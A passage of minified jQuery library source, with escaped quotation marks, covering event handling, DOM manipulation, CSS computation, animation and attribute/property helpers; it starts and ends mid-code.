Array(arguments.length),c=(X.get(this,\\\"events\\\")||{})[s.type]||[],u=E.event.special[s.type]||{};for(a[0]=s,t=1;t<arguments.length;t++)a[t]=arguments[t];if(s.delegateTarget=this,!u.preDispatch||!1!==u.preDispatch.call(this,s)){for(l=E.event.handlers.call(this,s,c),t=0;(r=l[t++])&&!s.isPropagationStopped();)for(s.currentTarget=r.elem,n=0;(i=r.handlers[n++])&&!s.isImmediatePropagationStopped();)s.rnamespace&&!s.rnamespace.test(i.namespace)||(s.handleObj=i,s.data=i.data,void 0!==(o=((E.event.special[i.origType]||{}).handle||i.handler).apply(r.elem,a))&&!1===(s.result=o)&&(s.preventDefault(),s.stopPropagation()));return u.postDispatch&&u.postDispatch.call(this,s),s.result}},handlers:function(e,t){var n,o,r,i,l,s=[],a=t.delegateCount,c=e.target;if(a&&c.nodeType&&!(\\\"click\\\"===e.type&&1<=e.button))for(;c!==this;c=c.parentNode||this)if(1===c.nodeType&&(\\\"click\\\"!==e.type||!0!==c.disabled)){for(i=[],l={},n=0;n<a;n++)o=t[n],r=o.selector+\\\" \\\",void 0===l[r]&&(l[r]=o.needsContext?-1<E(r,this).index(c):E.find(r,this,null,[c]).length),l[r]&&i.push(o);i.length&&s.push({elem:c,handlers:i})}return c=this,a<t.length&&s.push({elem:c,handlers:t.slice(a)}),s},addProp:function(t,e){Object.defineProperty(E.Event.prototype,t,{enumerable:!0,configurable:!0,get:E.isFunction(e)?function(){if(this.originalEvent)return e(this.originalEvent)}:function(){if(this.originalEvent)return this.originalEvent[t]},set:function(e){Object.defineProperty(this,t,{enumerable:!0,configurable:!0,writable:!0,value:e})}})},fix:function(e){return e[E.expando]?e:new E.Event(e)},special:{load:{noBubble:!0},focus:{trigger:function(){if(this!==Re()&&this.focus)return this.focus(),!1},delegateType:\\\"focusin\\\"},blur:{trigger:function(){if(this===Re()&&this.blur)return this.blur(),!1},delegateType:\\\"focusout\\\"},click:{trigger:function(){if(\\\"checkbox\\\"===this.type&&this.click&&k(this,\\\"input\\\"))return this.click(),!1},_default:function(e){return k(e.target,\\\"a\\\")}},beforeunload:{postDispatch:function(e){void 0!==e.result&&e.originalEvent&&(e.originalEvent.returnValue=e.result)}}}},E.removeEvent=function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n)},E.Event=function(e,t){if(!(this instanceof E.Event))return new E.Event(e,t);e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||void 0===e.defaultPrevented&&!1===e.returnValue?be:xe,this.target=e.target&&3===e.target.nodeType?e.target.parentNode:e.target,this.currentTarget=e.currentTarget,this.relatedTarget=e.relatedTarget):this.type=e,t&&E.extend(this,t),this.timeStamp=e&&e.timeStamp||E.now(),this[E.expando]=!0},E.Event.prototype={constructor:E.Event,isDefaultPrevented:xe,isPropagationStopped:xe,isImmediatePropagationStopped:xe,isSimulated:!1,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=be,e&&!this.isSimulated&&e.preventDefault()},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=be,e&&!this.isSimulated&&e.stopPropagation()},stopImmediatePropagation:function(){var e=this.originalEvent;this.isImmediatePropagationStopped=be,e&&!this.isSimulated&&e.stopImmediatePropagation(),this.stopPropagation()}},E.each({altKey:!0,bubbles:!0,cancelable:!0,changedTouches:!0,ctrlKey:!0,detail:!0,eventPhase:!0,metaKey:!0,pageX:!0,pageY:!0,shiftKey:!0,view:!0,char:!0,charCode:!0,key:!0,keyCode:!0,button:!0,buttons:!0,clientX:!0,clientY:!0,offsetX:!0,offsetY:!0,pointerId:!0,pointerType:!0,screenX:!0,screenY:!0,targetTouches:!0,toElement:!0,touches:!0,which:function(e){var t=e.button;return null==e.which&&we.test(e.type)?null!=e.charCode?e.charCode:e.keyCode:!e.which&&void 0!==t&&ye.test(e.type)?1&t?1:2&t?3:4&t?2:0:e.which}},E.event.addProp),E.each({mouseenter:\\\"mouseover\\\",mouseleave:\\\"mouseout\\\",pointerenter:\\\"pointerover\\\",pointerleave:\\\"pointerout\\\"},function(e,r){E.event.special[e]={delegateType:r,bindType:r,handle:function(e){var t,n=e.relatedTarget,o=e.handleObj;return n&&(n===this||E.contains(this,n))||(e.type=o.origType,t=o.handler.apply(this,arguments),e.type=r),t}}}),E.fn.extend({on:function(e,t,n,o){return Se(this,e,t,n,o)},one:function(e,t,n,o){return Se(this,e,t,n,o,1)},off:function(e,t,n){var o,r;if(e&&e.preventDefault&&e.handleObj)return o=e.handleObj,E(e.delegateTarget).off(o.namespace?o.origType+\\\".\\\"+o.namespace:o.origType,o.selector,o.handler),this;if(\\\"object\\\"==typeof e){for(r in e)this.off(r,t,e[r]);return this}return!1!==t&&\\\"function\\\"!=typeof t||(n=t,t=void 0),!1===n&&(n=xe),this.each(function(){E.event.remove(this,e,n,t)})}});var Ee=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\\\\/\\\\0>\\\\x20\\\\t\\\\r\\\\n\\\\f]*)[^>]*)\\\\/>/gi,ke=/<script|<style|<link/i,Te=/checked\\\\s*(?:[^=]|=\\\\s*.checked.)/i,Pe=/^true\\\\/(.*)/,De=/^\\\\s*<!(?:\\\\[CDATA\\\\[|--)|(?:\\\\]\\\\]|--)>\\\\s*$/g;function Ae(e,t){return k(e,\\\"table\\\")&&k(11!==t.nodeType?t:t.firstChild,\\\"tr\\\")&&E(\\\">tbody\\\",e)[0]||e}function Ne(e){return e.type=(null!==e.getAttribute(\\\"type\\\"))+\\\"/\\\"+e.type,e}function $e(e){var t=Pe.exec(e.type);return t?e.type=t[1]:e.removeAttribute(\\\"type\\\"),e}function He(e,t){var n,o,r,i,l,s,a,c;if(1===t.nodeType){if(X.hasData(e)&&(i=X.access(e),l=X.set(t,i),c=i.events))for(r in delete l.handle,l.events={},c)for(n=0,o=c[r].length;n<o;n++)E.event.add(t,r,c[r][n]);U.hasData(e)&&(s=U.access(e),a=E.extend({},s),U.set(t,a))}}function Le(e,t){var n=t.nodeName.toLowerCase();\\\"input\\\"===n&&le.test(e.type)?t.checked=e.checked:\\\"input\\\"!==n&&\\\"textarea\\\"!==n||(t.defaultValue=e.defaultValue)}function Fe(n,o,r,i){o=g.apply([],o);var e,t,l,s,a,c,u=0,d=n.length,p=d-1,f=o[0],h=E.isFunction(f);if(h||1<d&&\\\"string\\\"==typeof f&&!m.checkClone&&Te.test(f))return n.each(function(e){var t=n.eq(e);h&&(o[0]=f.call(this,e,t.html())),Fe(t,o,r,i)});if(d&&(e=me(o,n[0].ownerDocument,!1,n,i),t=e.firstChild,1===e.childNodes.length&&(e=t),t||i)){for(l=E.map(ue(e,\\\"script\\\"),Ne),s=l.length;u<d;u++)a=e,u!==p&&(a=E.clone(a,!0,!0),s&&E.merge(l,ue(a,\\\"script\\\"))),r.call(n[u],a,u);if(s)for(c=l[l.length-1].ownerDocument,E.map(l,$e),u=0;u<s;u++)a=l[u],ae.test(a.type||\\\"\\\")&&!X.access(a,\\\"globalEval\\\")&&E.contains(c,a)&&(a.src?E._evalUrl&&E._evalUrl(a.src):v(a.textContent.replace(De,\\\"\\\"),c))}return n}function _e(e,t,n){for(var o,r=t?E.filter(t,e):e,i=0;null!=(o=r[i]);i++)n||1!==o.nodeType||E.cleanData(ue(o)),o.parentNode&&(n&&E.contains(o.ownerDocument,o)&&de(ue(o,\\\"script\\\")),o.parentNode.removeChild(o));return e}E.extend({htmlPrefilter:function(e){return e.replace(Ee,\\\"<$1></$2>\\\")},clone:function(e,t,n){var o,r,i,l,s=e.cloneNode(!0),a=E.contains(e.ownerDocument,e);if(!(m.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||E.isXMLDoc(e)))for(l=ue(s),i=ue(e),o=0,r=i.length;o<r;o++)Le(i[o],l[o]);if(t)if(n)for(i=i||ue(e),l=l||ue(s),o=0,r=i.length;o<r;o++)He(i[o],l[o]);else He(e,s);return 0<(l=ue(s,\\\"script\\\")).length&&de(l,!a&&ue(e,\\\"script\\\")),s},cleanData:function(e){for(var t,n,o,r=E.event.special,i=0;void 0!==(n=e[i]);i++)if(O(n)){if(t=n[X.expando]){if(t.events)for(o in t.events)r[o]?E.event.remove(n,o):E.removeEvent(n,o,t.handle);n[X.expando]=void 0}n[U.expando]&&(n[U.expando]=void 0)}}}),E.fn.extend({detach:function(e){return _e(this,e,!0)},remove:function(e){return _e(this,e)},text:function(e){return q(this,function(e){return void 0===e?E.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=e)})},null,e,arguments.length)},append:function(){return Fe(this,arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=Ae(this,e);t.appendChild(e)}})},prepend:function(){return Fe(this,arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=Ae(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return Fe(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return Fe(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},empty:function(){for(var e,t=0;null!=(e=this[t]);t++)1===e.nodeType&&(E.cleanData(ue(e,!1)),e.textContent=\\\"\\\");return this},clone:function(e,t){return e=null!=e&&e,t=null==t?e:t,this.map(function(){return E.clone(this,e,t)})},html:function(e){return q(this,function(e){var t=this[0]||{},n=0,o=this.length;if(void 0===e&&1===t.nodeType)return t.innerHTML;if(\\\"string\\\"==typeof e&&!ke.test(e)&&!ce[(se.exec(e)||[\\\"\\\",\\\"\\\"])[1].toLowerCase()]){e=E.htmlPrefilter(e);try{for(;n<o;n++)1===(t=this[n]||{}).nodeType&&(E.cleanData(ue(t,!1)),t.innerHTML=e);t=0}catch(e){}}t&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(){var n=[];return Fe(this,arguments,function(e){var t=this.parentNode;E.inArray(this,n)<0&&(E.cleanData(ue(this)),t&&t.replaceChild(e,this))},n)}}),E.each({appendTo:\\\"append\\\",prependTo:\\\"prepend\\\",insertBefore:\\\"before\\\",insertAfter:\\\"after\\\",replaceAll:\\\"replaceWith\\\"},function(e,l){E.fn[e]=function(e){for(var t,n=[],o=E(e),r=o.length-1,i=0;i<=r;i++)t=i===r?this:this.clone(!0),E(o[i])[l](t),a.apply(n,t.get());return this.pushStack(n)}});var Ie=/^margin/,Me=new RegExp(\\\"^(\\\"+Q+\\\")(?!px)[a-z%]+$\\\",\\\"i\\\"),We=function(e){var t=e.ownerDocument.defaultView;return t&&t.opener||(t=R),t.getComputedStyle(e)};function je(e,t,n){var o,r,i,l,s=e.style;return(n=n||We(e))&&(\\\"\\\"!==(l=n.getPropertyValue(t)||n[t])||E.contains(e.ownerDocument,e)||(l=E.style(e,t)),!m.pixelMarginRight()&&Me.test(l)&&Ie.test(t)&&(o=s.width,r=s.minWidth,i=s.maxWidth,s.minWidth=s.maxWidth=s.width=l,l=n.width,s.width=o,s.minWidth=r,s.maxWidth=i)),void 0!==l?l+\\\"\\\":l}function Ve(e,t){return{get:function(){if(!e())return(this.get=t).apply(this,arguments);delete this.get}}}!function(){function e(){if(l){l.style.cssText=\\\"box-sizing:border-box;position:relative;display:block;margin:auto;border:1px;padding:1px;top:1%;width:50%\\\",l.innerHTML=\\\"\\\",ve.appendChild(i);var e=R.getComputedStyle(l);t=\\\"1%\\\"!==e.top,r=\\\"2px\\\"===e.marginLeft,n=\\\"4px\\\"===e.width,l.style.marginRight=\\\"50%\\\",o=\\\"4px\\\"===e.marginRight,ve.removeChild(i),l=null}}var t,n,o,r,i=S.createElement(\\\"div\\\"),l=S.createElement(\\\"div\\\");l.style&&(l.style.backgroundClip=\\\"content-box\\\",l.cloneNode(!0).style.backgroundClip=\\\"\\\",m.clearCloneStyle=\\\"content-box\\\"===l.style.backgroundClip,i.style.cssText=\\\"border:0;width:8px;height:0;top:0;left:-9999px;padding:0;margin-top:1px;position:absolute\\\",i.appendChild(l),E.extend(m,{pixelPosition:function(){return e(),t},boxSizingReliable:function(){return e(),n},pixelMarginRight:function(){return e(),o},reliableMarginLeft:function(){return e(),r}}))}();var Be=/^(none|table(?!-c[ea]).+)/,qe=/^--/,Oe={position:\\\"absolute\\\",visibility:\\\"hidden\\\",display:\\\"block\\\"},ze={letterSpacing:\\\"0\\\",fontWeight:\\\"400\\\"},Xe=[\\\"Webkit\\\",\\\"Moz\\\",\\\"ms\\\"],Ue=S.createElement(\\\"div\\\").style;function Ke(e){var t=E.cssProps[e];return t||(t=E.cssProps[e]=function(e){if(e in Ue)return e;var t=e[0].toUpperCase()+e.slice(1),n=Xe.length;for(;n--;)if((e=Xe[n]+t)in Ue)return e}(e)||e),t}function Ge(e,t,n){var o=J.exec(t);return o?Math.max(0,o[2]-(n||0))+(o[3]||\\\"px\\\"):t}function Ye(e,t,n,o,r){var i,l=0;for(i=n===(o?\\\"border\\\":\\\"content\\\")?4:\\\"width\\\"===t?1:0;i<4;i+=2)\\\"margin\\\"===n&&(l+=E.css(e,n+Z[i],!0,r)),o?(\\\"content\\\"===n&&(l-=E.css(e,\\\"padding\\\"+Z[i],!0,r)),\\\"margin\\\"!==n&&(l-=E.css(e,\\\"border\\\"+Z[i]+\\\"Width\\\",!0,r))):(l+=E.css(e,\\\"padding\\\"+Z[i],!0,r),\\\"padding\\\"!==n&&(l+=E.css(e,\\\"border\\\"+Z[i]+\\\"Width\\\",!0,r)));return l}function Qe(e,t,n){var o,r=We(e),i=je(e,t,r),l=\\\"border-box\\\"===E.css(e,\\\"boxSizing\\\",!1,r);return Me.test(i)?i:(o=l&&(m.boxSizingReliable()||i===e.style[t]),\\\"auto\\\"===i&&(i=e[\\\"offset\\\"+t[0].toUpperCase()+t.slice(1)]),(i=parseFloat(i)||0)+Ye(e,t,n||(l?\\\"border\\\":\\\"content\\\"),o,r)+\\\"px\\\")}function Je(e,t,n,o,r){return new Je.prototype.init(e,t,n,o,r)}E.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=je(e,\\\"opacity\\\");return\\\"\\\"===n?\\\"1\\\":n}}}},cssNumber:{animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{float:\\\"cssFloat\\\"},style:function(e,t,n,o){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var r,i,l,s=E.camelCase(t),a=qe.test(t),c=e.style;if(a||(t=Ke(s)),l=E.cssHooks[t]||E.cssHooks[s],void 0===n)return l&&\\\"get\\\"in l&&void 0!==(r=l.get(e,!1,o))?r:c[t];\\\"string\\\"===(i=typeof n)&&(r=J.exec(n))&&r[1]&&(n=ne(e,t,r),i=\\\"number\\\"),null!=n&&n==n&&(\\\"number\\\"===i&&(n+=r&&r[3]||(E.cssNumber[s]?\\\"\\\":\\\"px\\\")),m.clearCloneStyle||\\\"\\\"!==n||0!==t.indexOf(\\\"background\\\")||(c[t]=\\\"inherit\\\"),l&&\\\"set\\\"in l&&void 0===(n=l.set(e,n,o))||(a?c.setProperty(t,n):c[t]=n))}},css:function(e,t,n,o){var r,i,l,s=E.camelCase(t),a=qe.test(t);return a||(t=Ke(s)),(l=E.cssHooks[t]||E.cssHooks[s])&&\\\"get\\\"in l&&(r=l.get(e,!0,n)),void 0===r&&(r=je(e,t,o)),\\\"normal\\\"===r&&t in ze&&(r=ze[t]),\\\"\\\"===n||n?(i=parseFloat(r),!0===n||isFinite(i)?i||0:r):r}}),E.each([\\\"height\\\",\\\"width\\\"],function(e,l){E.cssHooks[l]={get:function(e,t,n){if(t)return!Be.test(E.css(e,\\\"display\\\"))||e.getClientRects().length&&e.getBoundingClientRect().width?Qe(e,l,n):te(e,Oe,function(){return Qe(e,l,n)})},set:function(e,t,n){var o,r=n&&We(e),i=n&&Ye(e,l,n,\\\"border-box\\\"===E.css(e,\\\"boxSizing\\\",!1,r),r);return i&&(o=J.exec(t))&&\\\"px\\\"!==(o[3]||\\\"px\\\")&&(e.style[l]=t,t=E.css(e,l)),Ge(e,t,i)}}}),E.cssHooks.marginLeft=Ve(m.reliableMarginLeft,function(e,t){if(t)return(parseFloat(je(e,\\\"marginLeft\\\"))||e.getBoundingClientRect().left-te(e,{marginLeft:0},function(){return e.getBoundingClientRect().left}))+\\\"px\\\"}),E.each({margin:\\\"\\\",padding:\\\"\\\",border:\\\"Width\\\"},function(r,i){E.cssHooks[r+i]={expand:function(e){for(var t=0,n={},o=\\\"string\\\"==typeof e?e.split(\\\" \\\"):[e];t<4;t++)n[r+Z[t]+i]=o[t]||o[t-2]||o[0];return n}},Ie.test(r)||(E.cssHooks[r+i].set=Ge)}),E.fn.extend({css:function(e,t){return q(this,function(e,t,n){var o,r,i={},l=0;if(Array.isArray(t)){for(o=We(e),r=t.length;l<r;l++)i[t[l]]=E.css(e,t[l],!1,o);return i}return void 0!==n?E.style(e,t,n):E.css(e,t)},e,t,1<arguments.length)}}),((E.Tween=Je).prototype={constructor:Je,init:function(e,t,n,o,r,i){this.elem=e,this.prop=n,this.easing=r||E.easing._default,this.options=t,this.start=this.now=this.cur(),this.end=o,this.unit=i||(E.cssNumber[n]?\\\"\\\":\\\"px\\\")},cur:function(){var e=Je.propHooks[this.prop];return e&&e.get?e.get(this):Je.propHooks._default.get(this)},run:function(e){var t,n=Je.propHooks[this.prop];return this.options.duration?this.pos=t=E.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):this.pos=t=e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):Je.propHooks._default.set(this),this}}).init.prototype=Je.prototype,(Je.propHooks={_default:{get:function(e){var t;return 1!==e.elem.nodeType||null!=e.elem[e.prop]&&null==e.elem.style[e.prop]?e.elem[e.prop]:(t=E.css(e.elem,e.prop,\\\"\\\"))&&\\\"auto\\\"!==t?t:0},set:function(e){E.fx.step[e.prop]?E.fx.step[e.prop](e):1!==e.elem.nodeType||null==e.elem.style[E.cssProps[e.prop]]&&!E.cssHooks[e.prop]?e.elem[e.prop]=e.now:E.style(e.elem,e.prop,e.now+e.unit)}}}).scrollTop=Je.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},E.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2},_default:\\\"swing\\\"},E.fx=Je.prototype.init,E.fx.step={};var Ze,et,tt,nt,ot,rt=/^(?:toggle|show|hide)$/,it=/queueHooks$/;function lt(){et&&(!1===S.hidden&&R.requestAnimationFrame?R.requestAnimationFrame(lt):R.setTimeout(lt,E.fx.interval),E.fx.tick())}function st(){return R.setTimeout(function(){Ze=void 0}),Ze=E.now()}function at(e,t){var n,o=0,r={height:e};for(t=t?1:0;o<4;o+=2-t)n=Z[o],r[\\\"margin\\\"+n]=r[\\\"padding\\\"+n]=e;return t&&(r.opacity=r.width=e),r}function ct(e,t,n){for(var o,r=(ut.tweeners[t]||[]).concat(ut.tweeners[\\\"*\\\"]),i=0,l=r.length;i<l;i++)if(o=r[i].call(n,t,e))return o}function ut(l,e,t){var n,s,o=0,r=ut.prefilters.length,a=E.Deferred().always(function(){delete i.elem}),i=function(){if(s)return!1;for(var e=Ze||st(),t=Math.max(0,c.startTime+c.duration-e),n=t/c.duration||0,o=1-n,r=0,i=c.tweens.length;r<i;r++)c.tweens[r].run(o);return a.notifyWith(l,[c,o,t]),o<1&&i?t:(i||a.notifyWith(l,[c,1,0]),a.resolveWith(l,[c]),!1)},c=a.promise({elem:l,props:E.extend({},e),opts:E.extend(!0,{specialEasing:{},easing:E.easing._default},t),originalProperties:e,originalOptions:t,startTime:Ze||st(),duration:t.duration,tweens:[],createTween:function(e,t){var n=E.Tween(l,c.opts,e,t,c.opts.specialEasing[e]||c.opts.easing);return c.tweens.push(n),n},stop:function(e){var t=0,n=e?c.tweens.length:0;if(s)return this;for(s=!0;t<n;t++)c.tweens[t].run(1);return e?(a.notifyWith(l,[c,1,0]),a.resolveWith(l,[c,e])):a.rejectWith(l,[c,e]),this}}),u=c.props;for(!function(e,t){var n,o,r,i,l;for(n in e)if(o=E.camelCase(n),r=t[o],i=e[n],Array.isArray(i)&&(r=i[1],i=e[n]=i[0]),n!==o&&(e[o]=i,delete e[n]),(l=E.cssHooks[o])&&\\\"expand\\\"in l)for(n in i=l.expand(i),delete e[o],i)n in e||(e[n]=i[n],t[n]=r);else t[o]=r}(u,c.opts.specialEasing);o<r;o++)if(n=ut.prefilters[o].call(c,l,u,c.opts))return E.isFunction(n.stop)&&(E._queueHooks(c.elem,c.opts.queue).stop=E.proxy(n.stop,n)),n;return E.map(u,ct,c),E.isFunction(c.opts.start)&&c.opts.start.call(l,c),c.progress(c.opts.progress).done(c.opts.done,c.opts.complete).fail(c.opts.fail).always(c.opts.always),E.fx.timer(E.extend(i,{elem:l,anim:c,queue:c.opts.queue})),c}E.Animation=E.extend(ut,{tweeners:{\\\"*\\\":[function(e,t){var n=this.createTween(e,t);return ne(n.elem,e,J.exec(t),n),n}]},tweener:function(e,t){E.isFunction(e)?(t=e,e=[\\\"*\\\"]):e=e.match(_);for(var n,o=0,r=e.length;o<r;o++)n=e[o],ut.tweeners[n]=ut.tweeners[n]||[],ut.tweeners[n].unshift(t)},prefilters:[function(e,t,n){var o,r,i,l,s,a,c,u,d=\\\"width\\\"in t||\\\"height\\\"in t,p=this,f={},h=e.style,g=e.nodeType&&ee(e),m=X.get(e,\\\"fxshow\\\");n.queue||(null==(l=E._queueHooks(e,\\\"fx\\\")).unqueued&&(l.unqueued=0,s=l.empty.fire,l.empty.fire=function(){l.unqueued||s()}),l.unqueued++,p.always(function(){p.always(function(){l.unqueued--,E.queue(e,\\\"fx\\\").length||l.empty.fire()})}));for(o in t)if(r=t[o],rt.test(r)){if(delete t[o],i=i||\\\"toggle\\\"===r,r===(g?\\\"hide\\\":\\\"show\\\")){if(\\\"show\\\"!==r||!m||void 0===m[o])continue;g=!0}f[o]=m&&m[o]||E.style(e,o)}if(!(a=!E.isEmptyObject(t))&&E.isEmptyObject(f))return;d&&1===e.nodeType&&(n.overflow=[h.overflow,h.overflowX,h.overflowY],null==(c=m&&m.display)&&(c=X.get(e,\\\"display\\\")),\\\"none\\\"===(u=E.css(e,\\\"display\\\"))&&(c?u=c:(ie([e],!0),c=e.style.display||c,u=E.css(e,\\\"display\\\"),ie([e]))),(\\\"inline\\\"===u||\\\"inline-block\\\"===u&&null!=c)&&\\\"none\\\"===E.css(e,\\\"float\\\")&&(a||(p.done(function(){h.display=c}),null==c&&(u=h.display,c=\\\"none\\\"===u?\\\"\\\":u)),h.display=\\\"inline-block\\\"));n.overflow&&(h.overflow=\\\"hidden\\\",p.always(function(){h.overflow=n.overflow[0],h.overflowX=n.overflow[1],h.overflowY=n.overflow[2]}));for(o in a=!1,f)a||(m?\\\"hidden\\\"in m&&(g=m.hidden):m=X.access(e,\\\"fxshow\\\",{display:c}),i&&(m.hidden=!g),g&&ie([e],!0),p.done(function(){for(o in g||ie([e]),X.remove(e,\\\"fxshow\\\"),f)E.style(e,o,f[o])})),a=ct(g?m[o]:0,o,p),o in m||(m[o]=a.start,g&&(a.end=a.start,a.start=0))}],prefilter:function(e,t){t?ut.prefilters.unshift(e):ut.prefilters.push(e)}}),E.speed=function(e,t,n){var o=e&&\\\"object\\\"==typeof e?E.extend({},e):{complete:n||!n&&t||E.isFunction(e)&&e,duration:e,easing:n&&t||t&&!E.isFunction(t)&&t};return E.fx.off?o.duration=0:\\\"number\\\"!=typeof o.duration&&(o.duration in E.fx.speeds?o.duration=E.fx.speeds[o.duration]:o.duration=E.fx.speeds._default),null!=o.queue&&!0!==o.queue||(o.queue=\\\"fx\\\"),o.old=o.complete,o.complete=function(){E.isFunction(o.old)&&o.old.call(this),o.queue&&E.dequeue(this,o.queue)},o},E.fn.extend({fadeTo:function(e,t,n,o){return this.filter(ee).css(\\\"opacity\\\",0).show().end().animate({opacity:t},e,n,o)},animate:function(t,e,n,o){var r=E.isEmptyObject(t),i=E.speed(e,n,o),l=function(){var e=ut(this,E.extend({},t),i);(r||X.get(this,\\\"finish\\\"))&&e.stop(!0)};return l.finish=l,r||!1===i.queue?this.each(l):this.queue(i.queue,l)},stop:function(r,e,i){var l=function(e){var t=e.stop;delete e.stop,t(i)};return\\\"string\\\"!=typeof r&&(i=e,e=r,r=void 0),e&&!1!==r&&this.queue(r||\\\"fx\\\",[]),this.each(function(){var e=!0,t=null!=r&&r+\\\"queueHooks\\\",n=E.timers,o=X.get(this);if(t)o[t]&&o[t].stop&&l(o[t]);else for(t in o)o[t]&&o[t].stop&&it.test(t)&&l(o[t]);for(t=n.length;t--;)n[t].elem!==this||null!=r&&n[t].queue!==r||(n[t].anim.stop(i),e=!1,n.splice(t,1));!e&&i||E.dequeue(this,r)})},finish:function(l){return!1!==l&&(l=l||\\\"fx\\\"),this.each(function(){var e,t=X.get(this),n=t[l+\\\"queue\\\"],o=t[l+\\\"queueHooks\\\"],r=E.timers,i=n?n.length:0;for(t.finish=!0,E.queue(this,l,[]),o&&o.stop&&o.stop.call(this,!0),e=r.length;e--;)r[e].elem===this&&r[e].queue===l&&(r[e].anim.stop(!0),r.splice(e,1));for(e=0;e<i;e++)n[e]&&n[e].finish&&n[e].finish.call(this);delete t.finish})}}),E.each([\\\"toggle\\\",\\\"show\\\",\\\"hide\\\"],function(e,o){var r=E.fn[o];E.fn[o]=function(e,t,n){return null==e||\\\"boolean\\\"==typeof e?r.apply(this,arguments):this.animate(at(o,!0),e,t,n)}}),E.each({slideDown:at(\\\"show\\\"),slideUp:at(\\\"hide\\\"),slideToggle:at(\\\"toggle\\\"),fadeIn:{opacity:\\\"show\\\"},fadeOut:{opacity:\\\"hide\\\"},fadeToggle:{opacity:\\\"toggle\\\"}},function(e,o){E.fn[e]=function(e,t,n){return this.animate(o,e,t,n)}}),E.timers=[],E.fx.tick=function(){var e,t=0,n=E.timers;for(Ze=E.now();t<n.length;t++)(e=n[t])()||n[t]!==e||n.splice(t--,1);n.length||E.fx.stop(),Ze=void 0},E.fx.timer=function(e){E.timers.push(e),E.fx.start()},E.fx.interval=13,E.fx.start=function(){et||(et=!0,lt())},E.fx.stop=function(){et=null},E.fx.speeds={slow:600,fast:200,_default:400},E.fn.delay=function(o,e){return o=E.fx&&E.fx.speeds[o]||o,e=e||\\\"fx\\\",this.queue(e,function(e,t){var n=R.setTimeout(e,o);t.stop=function(){R.clearTimeout(n)}})},tt=S.createElement(\\\"input\\\"),nt=S.createElement(\\\"select\\\"),ot=nt.appendChild(S.createElement(\\\"option\\\")),tt.type=\\\"checkbox\\\",m.checkOn=\\\"\\\"!==tt.value,m.optSelected=ot.selected,(tt=S.createElement(\\\"input\\\")).value=\\\"t\\\",tt.type=\\\"radio\\\",m.radioValue=\\\"t\\\"===tt.value;var dt,pt=E.expr.attrHandle;E.fn.extend({attr:function(e,t){return q(this,E.attr,e,t,1<arguments.length)},removeAttr:function(e){return this.each(function(){E.removeAttr(this,e)})}}),E.extend({attr:function(e,t,n){var o,r,i=e.nodeType;if(3!==i&&8!==i&&2!==i)return void 0===e.getAttribute?E.prop(e,t,n):(1===i&&E.isXMLDoc(e)||(r=E.attrHooks[t.toLowerCase()]||(E.expr.match.bool.test(t)?dt:void 0)),void 0!==n?null===n?void E.removeAttr(e,t):r&&\\\"set\\\"in r&&void 0!==(o=r.set(e,n,t))?o:(e.setAttribute(t,n+\\\"\\\"),n):r&&\\\"get\\\"in r&&null!==(o=r.get(e,t))?o:null==(o=E.find.attr(e,t))?void 0:o)},attrHooks:{type:{set:function(e,t){if(!m.radioValue&&\\\"radio\\\"===t&&k(e,\\\"input\\\")){var n=e.value;return e.setAttribute(\\\"type\\\",t),n&&(e.value=n),t}}}},removeAttr:function(e,t){var n,o=0,r=t&&t.match(_);if(r&&1===e.nodeType)for(;n=r[o++];)e.removeAttribute(n)}}),dt={set:function(e,t,n){return!1===t?E.removeAttr(e,n):e.setAttribute(n,n),n}},E.each(E.expr.match.bool.source.match(/\\\\w+/g),function(e,t){var l=pt[t]||E.find.attr;pt[t]=function(e,t,n){var o,r,i=t.toLowerCase();return n||(r=pt[i],pt[i]=o,o=null!=l(e,t,n)?i:null,pt[i]=r),o}});var ft=/^(?:input|select|textarea|button)$/i,ht=/^(?:a|area)$/i;function gt(e){var t=e.match(_)||[];return t.join(\\\" \\\")}function mt(e){return e.getAttribute&&e.getAttribute(\\\"class\\\")||\\\"\\\"}E.fn.extend({prop:function(e,t){return q(this,E.prop,e,t,1<arguments.length)},removeProp:function(e){return this.each(function(){delete this[E.propFix[e]||e]})}}),E.extend({prop:function(e,t,n){var o,r,i=e.nodeType;if(3!==i&&8!==i&&2!==i)return 1===i&&E.isXMLDoc(e)||(t=E.propFix[t]||t,r=E.propHooks[t]),void 0!==n?r&&\\\"set\\\"in r&&void 0!==(o=r.set(e,n,t))?o:e[t]=n:r&&\\\"get\\\"in r&&null!==(o=r.get(e,t))?o:e[t]},propHooks:{tabIndex:{get:function(e){var t=E.find.attr(e,\\\"tabindex\\\");return t?parseInt(t,10):ft.test(e.nodeName)||ht.test(e.nodeName)&&e.href?0:-1}}},propFix:{for:\\\"htmlFor\\\",class:\\\"className\\\"}}),m.optSelected||(E.propHooks.selected={get:function(e){var t=e.parentNode;return t&&t.parentNode&&t.parentNode.selectedIndex,null},set:function(e){var 